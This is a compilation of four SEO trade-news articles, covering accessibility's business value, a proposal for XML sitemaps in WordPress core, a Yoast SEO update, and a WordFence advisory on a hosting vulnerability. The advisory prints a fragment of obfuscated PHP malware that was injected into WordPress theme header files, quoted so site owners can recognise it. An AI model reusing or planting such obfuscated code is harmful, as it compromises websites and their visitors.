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7 Reasons Why Accessibility is Good for SEO and Sales



Accessibility is a factor that has traditionally been on the margins of SEO and web development. There are solid business reasons for why accessibility should be a top consideration. Accessibility can have a positive effect on sales and SEO.

Accessibility Should Not Be an Afterthought

The recent WordPress 5.0 release brought the issue of accessibility to mind. Accessibility was addressed by a plugin instead of being a core part of WordPress. This gave the impression that accessibility was treated as an afterthought and not a core requirement.

A member of the WordPress and SEO community brought this to attention in the official announcement by WordPress:

Screenshot of Joe Hall commenting on the official WordPress 5 announcment

Seven Reasons to Focus on Accessibility:

  1. Accessibility can enhance SEO
  2. Accessibility should be considered by everyone who works in web development or digital marketing
  3. People with disabilities are consumers
  4. It’s an opportunity to dominate your niche by serving a community that competitors are overlooking
  5. Accessibility can increase traffic
  6. Accessibility can increase sales
  7. Accessibility can decrease bounce rate

What the SEO Community Says About Accessibility

I asked four members of the search marketing community about integrating accessibility concerns with SEO and web development. Here is what they said:

Jenny Halasz

It is past time!

The ADA is actively working to make the accessibility requirements in section 508 standard for everyone.

Not to mention that accessibility requirements are also good SEO. For example, a fully JS site that a bot couldn’t crawl won’t pass accessibility tests either.

I should say likely will not pass all tests…

Alan Bleiwess is a top site auditing professional. He said that accessibility was a part of his site audit checklist.

Alan Bleiweiss

Accessibility is integrated into the vast majority of my site audit work. Since I perform broad, overall strategic audits, I don’t focus on the full spectrum of accessibility considerations. Yet I have my assistant run WCAG compliance tests on a sampling of page template types, and I also see how those templates do within Google’s Lighthouse tests specific to Accessibility as well.

One way to get more people in the search industry caring about this is that often overlooked issues specific to SEO are also accessibility issues. Like missing or badly worded image alternate attributes for example. Several accessibility requirements directly improve overall SEO at the code level.

And if SEOs, designers, & developers are unwilling to respect the needs of the visually impaired, or anyone who relies on screen readers that do NOT behave like the top visual web browsers, there’s also the additional threat of lawsuits – more sites and companies are being sued every year for failure to provide properly accessible sites.

Julie Joyce

I feel very strongly about accessibility as my neighbor is blind and he took me to his workplace to see how other blind users navigated the web. I was amazed at how many sites were so poorly coded for users with visual difficulties.

It made me really realize the importance of things like proper image alt attributes and simple navigation. Just in NC alone, in 2016 there were estimated to be 269,600 people with visual difficulties.

They do use the web too, and I’m tired of them being left out when people consider what to do with their websites. We definitely need to pay attention to them.

I mean blind people still need products and services and want to read articles and news

Dave Davies

I asked Dave Davies of the Webcology Podcast if it is time for accessibility to move to the forefront of web development and SEO. His answer touched on the pragmatic issue of additional cost.

Here is his answer:

In the case of SEO audits – instinctively of course I want to say ‘yes’ because it’s the right thing to say but as a marketer and someone who deals with clients who generally have limited budgets I have to say ‘maybe’.

For some companies it will apply. For others it may not. It would be great if we could simply say ‘yes’ and it didn’t cost more but it would and we need to be respectful of what will maximize the ROI for our clients. That’s what they’re hiring us to do.

What this all gets me thinking about though is that I rarely stop to consider accessibility. With the exception of maybe knowing a site has an older demographic so we should make the text big enough to be easily read, I’ve rarely stopped to consider that there are other people with other accessibility needs.

And while it would be nice to say all our clients will go through the extra costs to ensure their positive experience simply because it’s the right thing to do, most wouldn’t however if we all keep it in mind instead of an afterthought.

I suspect a good case can be regularly made that if we’re the one site that does it well – then we will gain not just a good feeling, but a segment of the market by default because we’re the only ones that can serve them properly.

It won’t apply universally – but it will apply to a lot more than is presently being served.

And of course, how long until Google favors accessible sites and data sources for people with accessibility needs? Probably not long.

And with the blind especially we have to remember that they’re basically using voice search. I had a friend/neighbor who was blind. it was interesting watching how he used the computer.  For one – he’d take his wireless keyboard pretty much anywhere withing earshot of the computer and make himself comfortable.

Accessibility and Succeeding Online

As search marketers we all look to squeeze that extra 1% conversion rate, to improve the bounce rate a few percentage points and to have kilobytes off an image file size. The mantra is that every little bit counts.

But when it comes to accessibility, why do we behave as if we were asked to take out the garbage… in the rain?

Every little bit counts. Every benefit, no matter how small counts.

I’m preaching to myself more than anyone else because this is an area in which I can improve.

Look at the benefits:

  1. Accessibility can have ranking benefits via alt text and other features.
  2. Accessibility can decrease bounce rates.
  3. Accessibility can increase sales.
  4. Accessibility can increase your site’s popularity among those ignored by your competition

When it comes to online marketing, everything I do has a pragmatic reason for attempting it. I don’t do things because they make me feel good. I do them because this is a business and business is about making money. Focusing on accessibility is about making more sales.

And as a bonus, it can make you feel good to know you’re serving every possible customer.

More Resources

Images by Shutterstock, Modified by Author
Screenshots by Author, Modified by Author

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Yoast, Google devs propose XML Sitemaps for WordPress Core



Yoast, Google devs propose XML Sitemaps for WordPress Core

The inclusion of XML Sitemaps as a WordPress Core feature has been proposed by a group of Yoast and Google team members as well as other contributors. In addition to a basic XML Sitemap, the proposal also introduces an XML Sitemaps API that would extend functionality for developers and webmasters.

The proposed XML Sitemaps structure. Image sourced from Make WordPress Core.

What it’ll include. The proposal states that XML Sitemaps will be enabled by default, allowing for indexing of the following content types:

  • Homepage
  • Posts page
  • Core post types (Pages and Posts)
  • Custom post types
  • Core taxonomies (Tags and Categories)
  • Custom taxonomies
  • Users (Authors)

It’s worth keeping in mind that your WordPress site’s automatically generated robots.txt file will also reference your sitemap index.

What it won’t include. Although the proposed feature will include the majority of WordPress content types and meet search engine minimum requirements, the initial integration will not cover image, video or news sitemaps, XML Sitemaps caching mechanisms or user-facing changes such as UI controls that exclude individual posts or pages from the sitemap.

The XML Sitemaps API. Here’s how the API will let you manipulate your XML Sitemaps:

  • Provide a custom XML Stylesheet
  • Add extra sitemaps and sitemap entries
  • Add extra attributes to sitemap entries
  • Exclude a specific post, post type, taxonomy or term from the sitemap
  • Exclude a specific author from the sitemap
  • Exclude specific authors with a specific role from the sitemap

Why we should care. Sitemaps facilitate indexing by providing web crawlers with your site’s URLs. If implemented, this might mean one less third-party plugin that brands and webmasters have to rely on for their SEO efforts. As a WordPress Core feature, we can expect wider compatibility and support than we might get from third-party solutions.

Poorly optimized plugins can also slow down your site, which can have a negative impact on your organic traffic. This default option from WordPress may not replace plugins like Yoast SEO because they often include other features in addition to XML Sitemaps, but its availability has the potential to provide us with more flexibility over which plugins we install.

About The Author

George Nguyen is an Associate Editor at Third Door Media. His background is in content marketing, journalism, and storytelling.

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Yoast SEO 11.4 adds FAQ structured data, UX improvements



Yoast SEO 11.4 adds FAQ structured data, UX improvements

Yoast SEO’s latest update enhances its FAQ blocks by automatically generating structured data to accompany questions and answers. The update also introduces some UX improvements and addresses issues with AMP pages when viewed in Reader mode.

How to use it. Yoast’s FAQ structured data implementation is only compatible with the WordPress block editor (also known as Gutenberg; available on versions 5.0 and newer). Webmasters can get started by selecting the FAQ block, adding a question, inputting the answer and an image (if applicable) and repeating the process for all frequently asked questions.

The Yoast FAQ block.

The corresponding FAQpage structured data will be generated in the background and added to Yoast’s structured data graph, which may help search engines identify your FAQ page and figure out how it fits into the overall scheme of your site.

A new action and filter were also introduced to make this integration more flexible. The wpseo_pre-schema_block-type_<block-type> lets you adjust the graph output based the blocks on the page and the wpseo_schema_block_<block-type> filter enables you to filter graph output on a per-block basis.

Other improvements. Yoast has also linked the SEO and readability scores in the Classic Editor and relocated the Focus keyphrase field to the top of meta box and sidebar to make it easier to find. And, they’ve resolved issues with AMP pages when viewed in Reader mode.

Why we should care. At this year’s I/O conference, Google announced support for FAQ markup, which may mean that searchers will be presented with FAQs as rich results more frequently. Being able to easily and efficiently equip our FAQ sections with structured data can yield better odds of earning prominent placement on SERPs.

For more on Yoast’s structured data implementation, check out our coverage on their 11.0 (general schema implementation), 11.1 (image and video), 11.2 (custom schema) and 11.3 (image and avatar) updates.

About The Author

George Nguyen is an Associate Editor at Third Door Media. His background is in content marketing, journalism, and storytelling.

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Web Host Vulnerability Discovered at iPage, FatCow, PowWeb, and NetFirm



Web Host Vulnerability Discovered at iPage, FatCow, PowWeb, and NetFirm

WordFence announced that they had discovered a vulnerability at four hosting companies. WordFence warns that while the vulnerability was patched, it’s possible sites were hacked prior to the fix.

Server settings allowed hackers to create WordPress administrator accounts from which the sites could be exploited with rogue code added to the WordPress theme.

WordFence urged site administrators to check their sites for rogue administrator accounts if they are hosted on iPage, FatCow, PowWeb, or NetFirm. All four are owned by the same company, Endurance International Group.

What Was the Server Vulnerability?

The affected servers had permission and file settings that allowed an attacker to view sensitive files. Other vulnerabilities allowed the attackers to access the database, add themselves as an administrators then take over the site.

This is how WordFence described the vulnerability:

“Four conditions existed that contributed to this vulnerability:

1. Customer files are all stored on a shared file system.

2. The full path to a user’s web root directory was public or could be guessed.

3. All directories in the path to a customer’s site root directory were either world-traversable (the execute bit for ‘all users’ is 1) or group-traversable (the execute bit for ‘group’ is 1), and the sensitive files were world-readable (the read bit for ‘all users’ is 1) or group-readable (the read bit for ‘group’ is 1).

4. An attacker could cause a program running in the group www to read files in arbitrary locations.”

Sites Could be Infected

WordFence warned that there was a period of time before the vulnerability was fixed during which sites hosted on these four host providers could have been infected.

It is recommended that site owners check their user lists to make sure there are no unauthorized administrators. If your site has been affected, then there should be rogue code that was added to the theme.

Here is how WordFence described the rogue code:

“If your site was exploited before the fixes, the attackers may have added malware which could still be present. Our customers had obfuscated code added at the top of the active theme’s header.php file, similar to this:

<?php ${“x47x4cx4fx42x41x4cx53”}[“ddx70x68zx67x64gx”]=”slx77kx77i”;${“x47x4cOx42x41Lx53”}[“cx7ax66x6dubkdox6ax78″]=”x6cx6fx63x61tx69x6fn”;${“x47x4cx4fBx41LS”}[“x67x64x64ex74x62px75fx65i”]=”x68tx6dx6c”;${“x47x4cOBx41x4cS”}[“x77ix64x68x6bvx6da”]=”x73tx72x66″;${“x47x4cx4fx42x41x4cx53”}[“x66sx75x71x79x6evw”]=”bx6fx74″;${“x47x4cOBALx53”}[“wx6cx79x63x61x76x62x71x68x6fx6cx75″]=”cacx68x65”;${“Gx4cOx42x41Lx53”}[“ryx68x72kux6b”]=”x73x63hx65x6dx65″;${“x47x4cx4fx42x41Lx53”}[“x74x6ax6bcx64ex65x69w”]=”x73lx77kx77ix32″;${“Gx4cOBAx4cS”}[“x79x65x64x73x67x6ahx69x73x67″]=”x73x6cx74lx65x69lx73″;”

Vulnerability Has Been Fixed

WordFence disclosed the vulnerability to the hosting companies before making a public announcement. The hosting companies promptly fixed the vulnerabilities.

Nevertheless, according to the guidance offered by WordFence, you may wish to check your user lists for rogue admin level accounts and review your header.php file for rogue code.

Read the entire announcement at the WordFence blog

Images by Shutterstock, Modified by Author

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